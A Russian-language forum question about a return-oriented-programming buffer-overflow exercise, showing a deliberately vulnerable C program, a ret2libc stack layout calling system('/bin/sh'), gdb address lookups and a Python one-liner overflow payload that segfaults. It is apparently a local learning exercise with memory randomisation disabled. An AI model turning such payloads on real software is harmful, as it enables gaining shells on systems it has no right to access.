Проблемы с переполнением буфера ROP - PullRequest
0 голосов
/ 27 января 2019

Я выполняю это упражнение на переполнение буфера, и я не могу заставить его работать ...

В разделе Вызов аргументов разделаВ этой статье он использует эту программу, чтобы использовать переменную not_used вместо /bin/date:

char* not_used = "/bin/sh";

void not_called() {
    printf("Not quite a shell...\n");
    system("/bin/date");
}

void vulnerable_function(char* string) {
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) {
    vulnerable_function(argv[1]);
    return 0;
}

. Он делает это, получая адреса памяти not_used и system@plt, а затем заменяя их стеком:

| 0x8048580 <not_used>             |
| 0x43434343 <fake return address> |
| 0x8048360 <address of system>    |
| 0x42424242 <fake old %ebp>       |
| 0x41414141 ...                   |
|   ... (0x6c bytes of 'A's)       |
|   ... 0x41414141                 |

Однако, когда я попытался это сделать, я просто получил Segmentation Fault:

frinto@kali:~/Documents/theclang/programs/rop/argrop$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x122e
(gdb) run
Starting program: /home/frinto/Documents/theclang/programs/rop/argrop/a.out 

Breakpoint 1, 0x5655622e in main ()
(gdb) print 'system@plt'
$1 = {<text variable, no debug info>} 0x56556050 <system@plt>
(gdb) x/s (int)not_used
0x56557008: "/bin/sh"
(gdb) 

Затем я собрал полезную нагрузку и запустил ее:

frinto@kali:~/Documents/theclang/programs/rop/argrop$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x50\x60\x55\x56" + "CCCC" + "\x08\x70\x55\x56"')"
Segmentation fault

В чем может быть проблема?Заранее спасибо за любую помощь!

PS Рандомизация памяти отключена

...